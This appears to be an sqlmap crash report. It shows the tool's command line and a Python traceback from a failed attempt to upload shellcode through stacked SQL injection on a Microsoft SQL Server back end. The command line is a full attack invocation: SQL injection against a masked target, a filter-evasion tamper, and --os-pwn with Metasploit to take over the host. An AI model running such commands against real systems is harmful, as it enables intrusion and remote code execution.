Running version: 1.4.9.22#dev
Python version: 2.7.9
Operating system: Windows-8-6.2.9200
Command line: sqlmap.py -u *************************************** -p tbUser --risk=3 --level=3 --random-agent --tamper=space2comment --method=POST --data=****************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************************** --user-agent=Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 --headers=************************************************************************************************************************************************************************************************************************************************************************************************************************************************ --os-pwn --msf-path=E:\metasploit-framework --proxy=***************************
Technique: STACKED
Back-end DBMS: Microsoft SQL Server (fingerprinted)
Traceback (most recent call last):
File "sqlmap.py", line 215, in main
start()
File "lib/core/decorators.py", line 78, in _
result = f(*args, **kwargs)
File "lib/controller/controller.py", line 704, in start
action()
File "lib/controller/action.py", line 224, in action
conf.dbmsHandler.osPwn()
File "plugins/generic/takeover.py", line 210, in osPwn
setupSuccess = self.uploadShellcodeexec(web=web)
File "lib/takeover/metasploit.py", line 647, in uploadShellcodeexec
written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
File "plugins/generic/filesystem.py", line 302, in writeFile
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
File "plugins/dbms/mssqlserver/filesystem.py", line 392, in stackedWriteFile
with open(localFile, "rb") as f:
IOError: [Errno 22] invalid mode ('rb') or filename: u'c:\\users\\*****\\appdata\\local\\temp\\sqlmapqt5ayt12320\\tmpuejaug327kzjnp.exe'
